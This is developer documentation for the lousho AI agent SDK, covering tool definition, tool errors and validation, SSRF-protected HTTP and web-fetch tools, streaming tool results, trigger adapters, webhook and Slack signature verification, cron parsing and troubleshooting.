  name: 'weather', // 1-64 chars: letters, digits, _ and -
  description: 'Get weather information',
  input: z.object({ location: z.string(), units: z.enum(['celsius', 'fahrenheit']) }),
  execute: async ({ location, units }) => ({ temperature: 72, conditions: 'sunny' }),
});

type WeatherArgs = ToolInput<typeof weather>;   // { location: string; units: 'celsius' | 'fahrenheit' }
type WeatherResult = ToolOutput<typeof weather>; // { temperature: number; conditions: string }

const agent = createAgent({ instructions: '...', provider, tools: [weather] });
```

Tools the model provider runs itself (web search, code interpreter, file search) go in the same `tools` list; see [Hosted provider tools](/hosted-tools).

With many tools, mark them `deferLoading` so the model finds them with a built-in `tool_search` tool instead of receiving every definition on every call; see [Tool search](/tool-search).

Tools written for the Vercel AI SDK (`tool({ description, inputSchema, execute })`) convert with `fromAiSdkTools({ weather, sendEmail })`, `needsApproval` included; see [Migrating from the AI SDK](/migrating-from-ai-sdk#tools-fromaisdktools).

## `defineTool()` options

| Option | Required | Description |
| - | - | - |
| `name` | yes | What the model calls the tool by. Must match `^[a-zA-Z0-9_-]{1,64}$` (the limit LLM providers put on function names). |
| `description` | yes | What the tool does. The model reads it to decide when to call the tool. |
| `input` | yes | Zod schema of the arguments (zod 3 or zod 4, or another Standard Schema that exposes `~standard.jsonSchema`). `execute`, `needsApproval` and `sandboxExecute` receive its parsed (output) type. |
| `execute(args, ctx)` | yes | Runs the tool. `ctx` carries the call's `toolCallId` and `abortSignal`. The return type is kept on the tool (`ToolOutput`). |
| `displayName` | no | Label for UIs. Defaults to `name`. |
| `needsApproval` | no | `true`, or a predicate typed from `input`, to pause for a human decision before the call runs. See [Approvals](/approvals). |
| `annotations` | no | MCP hints (`readOnlyHint`, `destructiveHint`, ...), stored as `metadata.mcp.annotations`. `readOnlyHint: true` lets the tool run in [plan mode](/permission-modes#which-tools-are-read-only). |
| `deferLoading` | no | Withhold the tool's definition from the model until it finds the tool with `tool_search`. See [Tool search](/tool-search). |
| `editsFiles` | no | The tool edits files: [`permissionMode: 'acceptEdits'`](/permission-modes#file-edits-the-editsfiles-marker) runs its calls without asking. Stored as `metadata.editsFiles`. |
| `timeoutMs` | no | The longest a call may run, in ms. A call still running then fails with a tool error the model sees, its `abortSignal` is aborted, and the run goes on without it. Not applied to a streaming (`async function*`) tool. |
| `requiresSandbox` | no | Run the tool through the configured `SandboxAdapter` instead of in-process (needs `sandboxExecute`). See [Guardrails and sandboxing](/guardrails#sandboxed-tools). |
| `sandboxExecute(args, sandbox)` | no | The sandboxed execution path used when `requiresSandbox` is true. |

`defineTool()` checks the name, the description and the zod `input` when it is
called, and throws an error that says how to fix a bad value. Registering two
tools with the same name throws an error naming the conflict.

An option not in the table above is an error (`LOUSHO_CONFIG_INVALID`) with a
suggestion, so a misspelled safety option cannot leave a tool running without
approval: `requireApproval: true` gives `'requireApproval' is not a known option (did you mean 'needsApproval'?)`,
and `inputSchema` or `parameters` points to `input`. A defined tool spread back
in (`defineTool({ ...tool, execute })`) is accepted.

It also refuses (`LOUSHO_CONFIG_INVALID`) an `input` no model can satisfy:

* **The root must be an object.** Providers send tool arguments as a JSON
  object, so `z.string()` or `z.array(...)` at the root is rejected. Wrap it:
  `z.object({ value: z.string() })`.
* **No `z.date()` or `z.bigint()` fields.** A model writes an ISO string or a
  number there, and those schemas reject both, so every call would fail. Use
  `z.coerce.date()` (or `z.iso.datetime()` to keep the string) and
  `z.coerce.bigint()` (or `z.number().int()`).

A defined tool is a regular `ToolDescriptor`: it carries its schema as
`inputSchema` (the same schema as `input`) and its `execute` function directly.
The `.tool` field (an `ai` v4 `{ description, parameters, execute }` object) is
legacy: it is still built for compatibility, and is read per field — a
hand-written descriptor without `inputSchema` falls back to `tool.parameters`,
and one without `execute` falls back to `tool.execute`, independently.

## What happens when the model calls a tool

* **Validation first.** The model's arguments are parsed with `inputSchema`
  (defaults, coercions and transforms applied) before hooks, `needsApproval`
  and `execute` see them. Arguments that do not match never reach `execute`:
  the model gets a structured `ToolArgumentsValidationError` result and can
  retry.
* **Errors are results.** A tool that throws gives the model
  `{ error, toolName, message, kind }` (no stack trace) and the run continues.
  See [Errors](#errors).
* **Parallel calls.** Several calls in one model turn run concurrently; cap
  them with `toolConcurrency` (`1` for strictly sequential). Results reach the
  transcript in the model's call order. See
  [Parallel tool calls](/runs#parallel-tool-calls).
* **Size cap.** A result whose JSON is longer than `maxToolResultChars`
  (`createAgent({ maxToolResultChars })`, default `50_000` characters, about
  12k tokens) reaches the model, and the transcript, as its head and tail with
  a marker saying how many characters were cut. `Infinity` turns the cap off.
  `onToolResult`, hooks and `tool.done` events still get the whole result.
* **Cancellation.** A run's `AbortSignal` reaches each call as
  `ctx.abortSignal`, so long-running work can stop early.
* **Progress.** An `execute` written as `async function*` streams snapshots
  of its output while it runs; the last one is the result. See
  [Streaming partial results](#streaming-partial-results).
* **Many calls in one step.** With `createAgent({ codeMode })` the model can
  also call tools from a short JavaScript program (`run_code`), each call going
  through the same checks. See [Code mode](/code-mode).
* **Retries after a crash.** With durable execution a tool can run more than
  once across a crash; use `ctx.toolCallId` as an idempotency key. See
  [Durable execution](/durable-execution#at-least-once-tools-make-side-effects-idempotent).

## Execute context

`execute(args, ctx)` always gets a real second argument, typed
`ToolExecutionContext` (exported from the package root; it replaces the `ai`
SDK's `ToolExecutionOptions`), on every path that
runs a tool: the main loop, the call that runs after an approval, tools that
run in a sandbox (`sandboxExecute(args, sandbox, ctx)`) and a flow's tool-call
node.

| Field | Value |
| - | - |
| `ctx.toolCallId` | The model's id for this call. It stays the same when that same call is re-run after a crash, but a crash before the call was recorded can make the model issue a new call with a new id, so it is not a business idempotency key (see [At-least-once tools](/durable-execution#at-least-once-tools-make-side-effects-idempotent)). A call with no model turn behind it (a flow node) gets a generated id. |
| `ctx.messages` | A read-only copy of the transcript the model had seen before it made the call: no system prompt and not the assistant turn that made the call. Empty for a flow node. |
| `ctx.abortSignal` | The run's `AbortSignal`, set when the run has one. |
| `ctx.sessionId` | The run's session id — `agent.session({ id })`'s id or `send()`'s / `AgentExecutor.execute()`'s `sessionId` (`send({ sessionId })` needs `createAgent({ store })` with checkpoints, else it throws `LOUSHO_CONFIG_MISSING_CHECKPOINT_STORE`); absent when the run has none. |
| `ctx.principal` | Who the run acts for (route auth's caller, a channel's sender), frozen; absent without one. See [Principals in tools and approvals](/auth#principals-in-tools-and-approvals). |
| `ctx.approval` | Set when the call runs because a human approved it: the approval's `id` (it dedupes repeated attempts to run one decided call, see [Cloudflare Workers](/cloudflare-workers#deciding-one-approval-twice); a retried model turn gets a new approval, so a side effect that must happen once also needs a key from your own data, such as a claim id), the decision's `note`, and `by`, who decided, when the decision named them. |

A `sandboxExecute(args, sandbox)` that ignores the third argument keeps working.

## Errors

Every way a tool call can fail reaches the model as the same result, so one
check works everywhere (including the call that runs after an approval):

```json theme={null}
{ "error": "TypeError", "toolName": "search", "message": "query must not be empty", "kind": "execution" }
```

* `error`: the error's name (`TypeError`, `ToolArgumentsValidationError`, ...), or the kind's default name for a failure that is not a thrown error.
* `toolName` and `message`: the message only, never a stack, capped at 2,000 characters (`... (truncated)` marks a cut).
* `kind`: why the call failed.
* Some kinds add fields: `issues` for `validation`, `note` for `rejected`, `reason` for `denied`.

The transcript message carries `isError: true`; `tool-result` events, `onToolResult`, `postToolCall` hooks and `tool.error` events see the call as failed.

| `kind` | `error` | When |
| - | - | - |
| `execution` | the thrown error's name | `execute` (or `needsApproval`) threw. |
| `validation` | `ToolArgumentsValidationError` | The arguments did not match `inputSchema`; `execute` did not run. Adds `issues`. |
| `not-found` | `ToolNotFoundError` | The model called a tool the registry does not have (or the run has no registry). |
| `rejected` | `ToolRejectedError` | A reviewer rejected the call at an approval. Adds `note` when given. |
| `not-run` | `ToolNotRunError` | The call was never started (a resumed run whose approval was saved without its remaining calls). |
| `mcp` | `McpToolError` | An MCP server answered `isError: true`; `message` is the server's text. |
| `sandbox` | `SandboxRequiredError` | The tool has `requiresSandbox` but no `sandboxExecute`, so it was refused rather than run unsandboxed. |
| `denied` | `ToolDeniedError` | A `deny` [permission rule](/approvals#permission-policies), the tool's `needsApproval` returning `'deny'`, a `preToolCall` hook's `deny`, or the permission mode refused the call; `execute` did not run. Adds `reason` when given. |

**Hiding exception text.** A thrown error's message goes to the model as it is, so
`new Error('DB password=hunter2 connection refused')` reaches it verbatim. Pass
`toolErrorMessage` to `createAgent` to replace the text of `execution` errors:

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const agent = createAgent({
  instructions: 'You answer questions about orders.',
  model: 'openai/gpt-4o-mini',
  tools: [],
  toolErrorMessage: (error, { toolName, toolCallId }) => {
    console.error(`tool ${toolName} (${toolCallId}) failed`, error); // the original error stays here
    return `${toolName} failed. Try again later or use another approach.`;
  },
});
```

The string becomes `message` in the result above (`kind` stays `execution`). The same text
reaches `tool.error` events, `onToolResult` and `postToolCall` hooks, so a client-facing stream
never carries the original; only your function sees the thrown error. Sub-agents inherit it. It
does not touch `validation` errors (they describe the model's own bad arguments) or the other
kinds. If the function throws or returns a non-string, the message is `The tool failed.` and the run
carries on. Without the option, nothing changes.

**Argument validation.** The model's arguments are parsed with the tool's zod
`inputSchema` (for a legacy descriptor, `tool.parameters`) before the tool runs, so pre-tool hooks, the
`needsApproval` predicate and `execute` all receive the **parsed** value. Tools without a zod schema are
passed through unchanged. If the arguments do not match, `execute` is not called and `preToolCall` hooks are
skipped, because there is no valid call. The model gets a `validation` result it can retry from:

```json theme={null}
{
  "error": "ToolArgumentsValidationError",
  "toolName": "sendEmail",
  "message": "Invalid arguments for tool 'sendEmail': 2 issues (to: Required; count: Expected number, received string)",
  "kind": "validation",
  "issues": [
    { "path": "to", "message": "Required" },
    { "path": "count", "message": "Expected number, received string" }
  ]
}
```

`ToolArgumentsValidationError` (with a typed `issues` array) is exported from the package root.

`toolErrorResult({ toolName, error, kind?, toolCallId?, details? })` builds this
result; use it in your own tool wrappers so they match. A thrown error can pick
its kind by carrying a `toolErrorKind` property. An error extending
`PropagatingToolError` is not a result: it aborts the run.

### Failed calls in the result

The model sees each failed call and may still answer as if it had worked,
ending the run with `finishReason: 'stop'`. `result.toolErrors` counts the
run's tool calls whose result is an error (any `kind` above except `not-run`);
it is absent when none failed. It counts only the run's own calls: the calls
that failed inside its [sub-agents](/sub-agents) are counted on
`result.usage.delegated.toolErrors`. Check it before trusting `text`, or cap it with
`limits.maxToolErrors`: once that many calls have failed, the run stops before
its next model call with `finishReason: 'budget-exceeded'` and
`result.budget.limit` `'maxToolErrors'` (or rejects with `BudgetExceededError`
under `onExceeded: 'throw'`, see [Budgets](/configuration#budgets)).

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const stats = defineTool({ name: 'stats', description: 'Weekly stats', input: z.object({}), execute: async () => (await fetch('https://stats.example.com/week')).json() });
const agent = createAgent({ provider, tools: [stats], limits: { maxToolErrors: 3 } });
const result = await agent.send('Summarise this week');
if (result.budget?.limit === 'maxToolErrors') throw new Error('The stats tool keeps failing.');
if (result.toolErrors) console.warn(`${result.toolErrors} tool call(s) failed; the answer may be incomplete.`);
```

## Built-in tools

| Export | Tool |
| - | - |
| `httpTool`, `createHttpTool(options)` | `http_request`: HTTP requests (any method, headers, body), with SSRF protection: loopback, private and link-local destinations are refused on every hop, and the connection goes to the address that was checked. Node only. |
| `webFetchTool`, `createWebFetchTool(options)` | `web_fetch`: `GET` one public web page and return it as text, with the same SSRF protection and caps on redirects, size and time. Node only; see below. |
| `currentDateTool`, `dayNameTool` | Current date/time (ISO, UTC) and day of the week. |
| `createTodoTools()` | `todo_write` / `todo_read` so an agent can plan multi-step work; see [Todo tools](#todo-tools). |
| `askQuestionTool()`, `createAgent({ askQuestion: true })` | `ask_question`: the agent asks the user something and the run pauses until `agent.approvals.answer()`; see [Asking the user a question](/approvals#asking-the-user-a-question). |
| `createFsTools()`, `createShellTool()` | File system and shell tools for coding agents; see [Workspace tools](/workspace-tools). |
| `createEmailTool()`, `createSlackTool()`, `createGitHubTools()`, `createJiraTools()` (from `@lousho/build-ai-agent/integrations`) | Integrations that need credentials, so they are built with options. `createSlackTool()` reads the webhook URL from `SLACK_WEBHOOK_URL` unless you pass `webhookUrl`; `createJiraTools()` takes `baseUrl`, `email` and `apiToken` explicitly (conventionally from `JIRA_BASE_URL`, `JIRA_EMAIL` and `JIRA_API_TOKEN`). |
| `createAgent({ mcpServers })`, `connectMcp(servers)` | Every tool of MCP servers given as config (stdio `command` or HTTP `url`), named `<server>__<tool>`; see [Use MCP servers in an agent](/mcp-integration#use-mcp-servers-in-an-agent). |
| `openApiTools(document, options)` | One tool per operation of an OpenAPI 3.0 / 3.1 document; mutating operations ask for approval. See [OpenAPI tools](/openapi-tools). |
| `loadMcpTools(client, name)` | Every tool of a connected MCP server; see [MCP tools](/mcp-integration#tools-from-a-client-you-connected-yourself). |

Built-in descriptors are passed keyed by the name the agent uses:
`createAgent({ tools: { current_date: currentDateTool } })`. Spec files refer to
`http`, `web-fetch`, `current-date` and `day-name` by name (see
[Configuration](/configuration#tools-a-spec-can-reference)).

How `http_request` and `web_fetch` refuse private destinations: an IP-literal
host is checked before the request; a host name is resolved once, when the
connection is opened, every address it resolves to is checked (loopback,
RFC 1918, link-local including the cloud metadata address, CGNAT, multicast
and reserved ranges, IPv4-mapped IPv6, NAT64 and 6to4), and the socket
connects to the address that was checked. Redirects are followed by hand and
each hop is checked the same way. A DNS-rebinding name, one that answers a
public address first and a private one later, has no second lookup to answer.
When `http_request` runs through a sandbox, the host is resolved and checked
in the agent's process and the sandboxed process connects to that address.
Both tools take `allowPrivate` (host patterns such as `intranet.example` or
`*.corp.example`) for hosts that may resolve to private addresses.

`web_fetch` takes `{ url }` (`http:` or `https:`, no `user:password@`) and
returns `{ url, finalUrl, status, contentType, content, truncated }`. It only
sends `GET`, with no body, cookies or caller-chosen headers. HTML becomes
plain text (scripts, styles and similar removed, block elements on their own
lines, link URLs in parentheses, entities decoded); JSON and `text/*` are
returned as sent; other types (images, PDFs, binaries) return a note instead
of content. A 4xx or 5xx response is returned with its body, not thrown, so
the model can read an error page. Refusals, timeouts, too many redirects and
bad URLs are tool errors that name the host. The page is untrusted input: the
tool's description tells the model so, and `readOnlyHint` and `openWorldHint`
are set. Options of `createWebFetchTool()` (the `vendor/` model prefix chooses
the provider; with OpenRouter use `openrouter/<vendor>/<model>`, e.g.
`openrouter/openai/gpt-4o-mini`):

```ts theme={null}
import { createAgent, createWebFetchTool } from '@lousho/build-ai-agent';

const webFetch = createWebFetchTool({
  timeoutMs: 30_000, // whole request: redirects and body included
  maxRedirects: 10, // each hop is checked again
  maxBytes: 2 * 1024 * 1024, // read from the network, then stop (truncated: true)
  maxChars: 50_000, // characters of text returned to the model
  allowedHosts: ['*.example.com', 'example.com'], // `*.` matches subdomains only, so list the bare host too; when set, any other host is refused before DNS
  blockedHosts: ['private.example.com'], // always refused, before DNS
  allowPrivate: [], // hosts allowed to resolve to private addresses
  userAgent: 'lousho-web-fetch',
});

const agent = createAgent({ model: 'openai/gpt-4o-mini', tools: [webFetch] });
```

Each `createWebFetchTool()` has its own connection pool, kept for as long as
the tool exists and released with it by garbage collection (there is no close
method). `web_fetch` does not exist in the Cloudflare Worker build, and the
Worker's `http_request` is a different tool that reaches only the host names
listed in its `LOUSHO_HTTP_ALLOW` binding; see
[Cloudflare Workers](/cloudflare-workers#providers-and-tools).

## Todo tools

`createTodoTools(options?)` gives long-running agents a plan to track:
`todo_write` replaces the whole list (`{ id?, content, status }` items, status
`pending` | `in_progress` | `completed`, at most one `in_progress`) and returns
the list plus counts; `todo_read` returns it. Ids are assigned automatically and
stay stable when a later write repeats an item's content. Invalid lists (for
example two `in_progress`) reach the model as a structured tool error so it can
retry. The list lives in memory per call; pass `store` (`{ get, set }`) to
persist it, and `onChange` to update a UI. Every successful `todo_write` also
emits a `todo.updated` stream event with the new list and its counts (see
[Stream events](/stream-events)), which the [React](/react#todos),
[Vue](/vue#todos) and [Svelte](/svelte#todos) bindings turn into
`useTodos()` / `loushoTodos()`, so a UI shows the plan live without `onChange`.

```ts theme={null}
import { createAgent, createTodoTools, type TodoStore } from '@lousho/build-ai-agent';

const todos = createTodoTools({ onChange: (list) => console.log(list.length, 'todos') });
const planner = createAgent({ instructions: 'Plan multi-step work, then do it.', provider, tools: todos.tools });

await planner.send('Migrate the repo to ESM');
console.log(await todos.getTodos()); // [{ id: 'todo_1', content: '...', status: 'completed' }, ...]

// Persist the list somewhere else:
let saved: Awaited<ReturnType<TodoStore['get']>> = [];
createTodoTools({ store: { get: () => saved, set: (next) => void (saved = next) } });
```

## Advanced: `ToolRegistry`

`createAgent()` builds a registry for you; fill one yourself only with
`AgentExecutor.execute()` (see [the executor API](/executor-api)) or to
share tools between agents:
`register(tool)` for a `defineTool()` result, `register(name, descriptor)` for a
raw `ToolDescriptor` (a built-in tool, an MCP tool, or an existing `tool()` from
the `ai` SDK), and `registerMany()` for a record of descriptors or an array of defined tools.

```ts theme={null}
import { ToolRegistry } from '@lousho/build-ai-agent/tools';
import { currentDateTool, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const lookupOrder = defineTool({
  name: 'lookup_order',
  description: 'Look up an order',
  input: z.object({ orderId: z.string() }),
  execute: async ({ orderId }) => ({ orderId, status: 'shipped' }),
});

const tools = new ToolRegistry();
tools.register(lookupOrder);
tools.register('current_date', currentDateTool);
```

Pass it as `toolRegistry` to `AgentExecutor.execute()`; the agent config's
`tools` map names the tools it may use.

## Streaming partial results

A long tool (a report builder, a search over many sources) can show progress
while it runs: write `execute` as an `async function*`. Every `yield` is a
complete snapshot of the output so far, which replaces the previous one, and
reaches the run's events as `tool.partial` (see
[Stream events](/stream-events)). The last yielded value is the tool's
result: the model gets it, and it is the `result` of the call's `tool.done`, so
the final snapshot appears twice (as the last `tool.partial` and in
`tool.done`). A `return` value is ignored; a generator that yields nothing has
the result `null`, as does any tool that returns `undefined`: the transcript, the
model and `tool.done` all see `null`.

```ts theme={null}
import { createAgent, defineTool, type ToolOutput } from '@lousho/build-ai-agent';
import { z } from 'zod';

const buildReport = defineTool({
  name: 'build_report',
  description: 'Builds a report from several sources',
  input: z.object({ topic: z.string() }),
  async *execute({ topic }, ctx) {
    const sections: string[] = [];
    for (const source of ['news', 'papers', 'forums']) {
      if (ctx.abortSignal?.aborted) return;
      sections.push(`${source}: notes on ${topic}`);
      yield { topic, sections: [...sections], done: false };
    }
    yield { topic, sections, done: true };
  },
});
type Report = ToolOutput<typeof buildReport>; // { topic: string; sections: string[]; done: boolean }

const agent = createAgent({ model: 'openai/gpt-4o-mini', tools: [buildReport] });
for await (const event of agent.stream('Write a report on solar power.')) {
  if (event.type === 'tool.partial') console.log(`step ${event.index}`, event.output);
}
```

What to know:

* **Only the result is kept.** Snapshots are not sent to the model, not added
  to the transcript or the session, not checkpointed and not recorded in trace
  spans. Hooks (`postToolCall`, `onToolResult`) see only the result.
* **A crash loses them.** Partial output is not durable: after a crash the
  call has no result yet and runs again from the start (a new `tool.start`,
  `index` from 0). A pause for a [sign-in](/oauth) inside the generator
  re-runs it from the start too, but the continued run reports `tool.resume`
  rather than a second `tool.start`, again with `index` from 0. Snapshots
  already streamed stay in the event log; a UI should drop them when the call
  pauses or starts again (the [UI bindings](/react) do).
* **Approvals and permissions apply first.** A generator tool that needs
  approval runs, and streams, only after the decision (also on a streamed
  resume, `agent.approvals.streamResolve()`).
* **Cancellation.** When the run is aborted, the SDK stops reading the
  generator at once, settles the call as aborted and calls its `return()`, so
  its `finally` blocks run - once the `await` it is in settles, so pass
  `ctx.abortSignal` to the work you await.
* **Tokens are redacted in snapshots too.** A snapshot that contains a token
  the tool got from `ctx.getToken()` has it replaced with `[REDACTED]`, like the
  result. A `postToolCall` hook that rewrites the result does not see the
  snapshots: if a tool's output must be filtered by a hook, filter it in the
  tool or do not stream it.
* **Which values stream.** Only a value with a `next()` method that is also
  async iterable (what an `async function*` returns) is streamed. A result that
  is only async iterable, such as a `ReadableStream`, is an ordinary result.
* **The whole run counts.** `toolConcurrency` holds the slot until the
  generator ends. Calling the tool's `execute` yourself returns the generator.
* **Where.** The main loop, the call that runs after an approval, and a flow's
  tool-call node (which keeps only the result) all iterate the generator; a
  tool's `sandboxExecute` does not stream. In the AI SDK UI stream, snapshots
  are preliminary tool outputs (see [AI SDK UI](/ai-sdk-ui#event-mapping)).


# Triggers
Source: https://lousho.com/triggers



A trigger adapter turns one wake-up mechanism into an agent run. The `@lousho/build-ai-agent/triggers` subpath is the extension point for your own mechanism (`TriggerAdapter`, `TriggerRegistry`) plus a few helpers shared with channels and schedules: the `WebhookAuth` shapes, `verifySlackSignature()` and `parseCronExpression()`. The built-in webhook, Slack and cron adapters were removed; see [Migrating from triggers](/upgrading#migrating-from-triggers).

## Choosing between triggers, channels and schedules

| | Use it for | Entry points |
| - | - | - |
| Triggers | The extension point for your own wake-up mechanism. | `TriggerAdapter`, `TriggerRegistry` |
| [Channels](/channels) | A surface people talk to. Each conversation maps to a session, and approvals and questions the agent pauses on go back to the surface. | `defineChannel()`, `mountChannels()`, `httpChannel()`, `webhookChannel()`, `slackChannel()` |
| [Schedules](/schedules) | Cron for agent directories and the node server, with support on the deployed targets. | `defineSchedule()`, `startSchedules()` |

## The TriggerAdapter interface

```text theme={null}
interface TriggerAdapter<TChannel = unknown> {
  type: string;
  listen(
    agent: RunnableAgent, // { send(message: string): Promise<ExecutionResult> }
    onEvent: (input: string, context: TriggerContext) => Promise<ExecutionResult>
  ): TriggerHandle; // { stop(): Promise<void> | void }
  reply?(channel: TChannel, message: string): Promise<void>;
}
```

`listen` takes both `agent` and `onEvent` on purpose. `agent` is the plain "prompt in, text out" surface, and `onEvent` is the entry point the adapter calls when its trigger fires: a simple caller passes `(input) => agent.send(input)`, while a caller with checkpointing, approval gates or abort control passes an `onEvent` that wraps all of that. Call `stop()` on the returned handle to shut the adapter down.

Reply semantics differ per adapter. An adapter whose reply is the open request (a webhook) has no `reply()`, one with no caller waiting (a clock) hands the result elsewhere, and one with an out-of-band reply channel (chat) implements `reply()`.

Write your own adapter by returning a handle from `listen`:

```ts theme={null}
import { createAgent, createMockProvider } from '@lousho/build-ai-agent';
import type { TriggerAdapter } from '@lousho/build-ai-agent/triggers';

const agent = createAgent({ instructions: 'You are helpful.', provider: createMockProvider() });

const everyTenSeconds: TriggerAdapter = {
  type: 'ten-seconds',
  listen(_agent, onEvent) {
    const timer = setInterval(() => void onEvent('tick', { firedAt: new Date() }), 10_000);
    return { stop: () => clearInterval(timer) };
  },
};

const handle = everyTenSeconds.listen(agent, (input) => agent.send(input));
handle.stop();
```

`TriggerRegistry` keeps adapters by name: `register(name, adapter)`, `registerMany()`, `get()`, `has()`, `list()`, `getAll()`, `unregister()`, `clear()` and `size()`. `globalTriggerRegistry` is a shared instance.

## Webhook authentication

The `WebhookAuth` shapes are the reference for `webhookChannel({ auth })` (see [Channels](/channels)). `checkWebhookAuth()` and `assertValidWebhookAuth()` are exported for your own handler.

```ts theme={null}
import { createAgent, createMockProvider, mountChannels, webhookChannel } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You are helpful.', provider: createMockProvider() });

// HMAC of the RAW request body (GitHub / Shopify style): header `x-signature-256: sha256=<hex>`.
const handler = mountChannels(agent, [
  webhookChannel({ auth: { type: 'hmac', secret: process.env.WEBHOOK_SECRET ?? '' } }),
]);

// Replay protection: the signed payload becomes `${timestamp}.${body}` and
// requests more than `toleranceSeconds` (default 300) old are rejected.
webhookChannel({
  auth: {
    type: 'hmac',
    secret: process.env.WEBHOOK_SECRET ?? '',
    header: 'x-signature',
    timestampHeader: 'x-timestamp',
    toleranceSeconds: 120,
  },
});

// A shared bearer token (`Authorization: Bearer <token>`).
webhookChannel({ auth: { type: 'bearer', token: process.env.WEBHOOK_TOKEN ?? '' } });

// Anything else: return true to accept. `rawBody` is a Buffer of the exact bytes received.
webhookChannel({
  auth: { type: 'custom', verify: (req) => req.headers['x-api-key'] === process.env.API_KEY },
});
```

HMAC options: `header` (default `x-signature-256`), `algorithm` (`sha256` or
`sha1`, default `sha256`), `prefix` (default `sha256=`; `''` for a bare
digest), `timestampHeader` and `toleranceSeconds` (a timestamp may also be at
most a minute ahead of local time). Signatures and bearer
tokens are compared in constant time. A request that fails authentication gets
a generic `401 {"error":"Unauthorized"}` - the response never says which check
failed. An invalid `auth` throws `LOUSHO_TRIGGER_INVALID`. Serve webhooks over
HTTPS (terminate TLS in front of the server) so tokens and payloads are not
sent in clear text.

## Slack request signatures

`slackChannel()` verifies every request for you (see [Slack in Channels](/channels#slack)). For your own handler (slash commands, interactivity), verify the RAW body with `verifySlackSignature()`: HMAC-SHA256 over `v0:{X-Slack-Request-Timestamp}:{raw body}`, compared in constant time with `X-Slack-Signature` (`v0=<hex>`). Requests more than five minutes old, or more than a minute ahead of local time, are rejected (the timestamp is in seconds, as Slack sends it). See [Slack's documentation](https://docs.slack.dev/authentication/verifying-requests-from-slack).

```ts theme={null}
import { verifySlackSignature } from '@lousho/build-ai-agent/triggers';

const authentic = verifySlackSignature({
  signingSecret: process.env.SLACK_SIGNING_SECRET ?? '',
  timestamp: '1700000000', // the X-Slack-Request-Timestamp header
  signature: 'v0=...', // the X-Slack-Signature header
  rawBody: '{"type":"url_verification"}',
});
```

## Cron expressions

`defineSchedule()` with `startSchedules()` runs cron (see [Schedules](/schedules)). `parseCronExpression(expr, timezone)` and `CronExpressionError` are exported if you need to validate an expression or compute the next fire time with `.nextRun(after)`.

Supported syntax: `*`, lists (`1,15`), ranges (`1-5`), steps (`*/15`,
`10-40/10`), month names (`JAN`) and weekday names (`MON`), with `0` and `7`
both meaning Sunday, plus the `@hourly`, `@daily` (or `@midnight`), `@weekly`,
`@monthly` and `@yearly` (or `@annually`) shortcuts. As in
classic cron, when both day-of-month and day-of-week are restricted a day
matches if either does. An invalid expression throws a `CronExpressionError`
naming the field and showing a valid example.

Around daylight-saving changes, a fixed-hour job whose time does not exist
(spring forward, e.g. `30 2 * * *`) runs once at the first instant after the
gap (03:00) instead of being skipped for the day, and a time that happens twice (fall back) fires once;
an every-hour schedule keeps firing hourly.


# Troubleshooting
Source: https://lousho.com/troubleshooting



This page starts from what you see and points to the cause, the fix and the page
that explains it. First run `npx lousho doctor` ([what it checks](/installation#troubleshooting-lousho-doctor)),
then, if you have an error code (`LOUSHO_...`), look it up in [Errors](/errors).

## Setup

### "No model configured"

* **Cause:** `createAgent()` got no `model` or `provider` and found nothing in the
  environment (`LOUSHO_CONFIG_MISSING_PROVIDER`).
* **Fix:** pass `model: 'openai/gpt-4o-mini'` (any `<provider>/<model>`), or set `LOUSHO_MODEL` or a provider key such as `OPENAI_API_KEY`.
* **More:** [Providers](/providers), [the error](/errors#lousho_config_missing_provider).

### "The API key is not set"

* **Cause:** the provider's key variable (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `OPENROUTER_API_KEY`) is not in the environment of the process that runs the agent (`LOUSHO_PROVIDER_MISSING_API_KEY`).
* **Fix:** set it, or pass a configured provider instance. `npx lousho doctor` prints `set` or `not set` for each key, never the value. The `vendor/` model prefix chooses the provider; with OpenRouter use `openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`) — `model: 'openai/gpt-4o-mini'` needs `OPENAI_API_KEY` even when only `OPENROUTER_API_KEY` is set.
* **More:** [the error](/errors#lousho_provider_missing_api_key).

### "Cannot find package `@ai-sdk/openai`" or "install the optional peer"

* **Cause:** each provider is backed by an optional package that is loaded on first use, in the major that pairs with your `ai` major (`LOUSHO_PEER_MISSING`). The same error covers the other optional peers, such as `dockerode` and `@modelcontextprotocol/sdk`.
* **Fix:** run the `npm install` command in the message (it is also on `error.installCommand`), or look up your `ai` major in the pairing table.
* **More:** [Provider packages](/installation#provider-packages), [Optional peers](/installation#optional-peers), [the error](/errors#lousho_peer_missing).

### "`ai` 5 is installed"

* **Cause:** `ai` 5 is not supported. The SDK takes `ai` `^4.3.19`, `^6.0.0` or `^7.0.0`.
* **Fix:** install one of those majors together with the provider package row that pairs with it.
* **More:** [Install the package](/installation#install-the-package).

### "Top-level await is only available in ES modules"

* **Cause:** the quick start uses top-level `await`, so the file must be an ES module.
* **Fix:** name the file `.mts`, or set `"type": "module"` in `package.json`.
* **More:** [Quickstart in the README](https://github.com/LinuxDevil/agent-sdk/blob/main/README.md#quickstart).

### The Node version is too old

* **Cause:** the SDK needs Node.js 22.19 or newer (`engines.node`).
* **Fix:** upgrade Node. `npx lousho doctor` compares your version with the requirement.
* **More:** [Requirements](/installation#requirements).

### Ollama and zod versions disagree

* **Cause:** `ollama-ai-provider-v2` (the Ollama package for `ai` 6 and 7) declares zod 4 as a peer. Zod 3 does not satisfy it.
* **Fix:** use zod 4 with `ai` 6 or 7, or use `ai@^4.3.19` with `ollama-ai-provider@^1.2.0`.
* **More:** [Provider packages](/installation#provider-packages).

## Runs that end without an answer

### `send()` returned but `text` is empty

* **Cause:** a run that stops early resolves; it does not throw. `result.finishReason` says why. These are the ones that leave `text` empty or partial:

  * `'awaiting-approval'`: a tool call needs a human. Resolve it (next entry). [Approvals](/approvals).
  * `'max-steps'`: the `maxSteps` budget (default 10) ran out while the model still wanted to continue. Raise `maxSteps`, or simplify the task. [Finish reasons](/runs#finish-reasons).
  * `'budget-exceeded'`: a `limits` budget such as `maxTokens` or `maxCostUsd` tripped; `result.budget` says which. Raise the limit. [Budgets](/configuration#budgets).
  * `'guardrail'`: an input, output or tool guardrail blocked the run; `result.guardrail` says which. [Guardrails](/guardrails#input-and-output-guardrails).
  * `'output-invalid'`: the reply did not match the `output` schema even after the repair step. [Structured output](/structured-output).

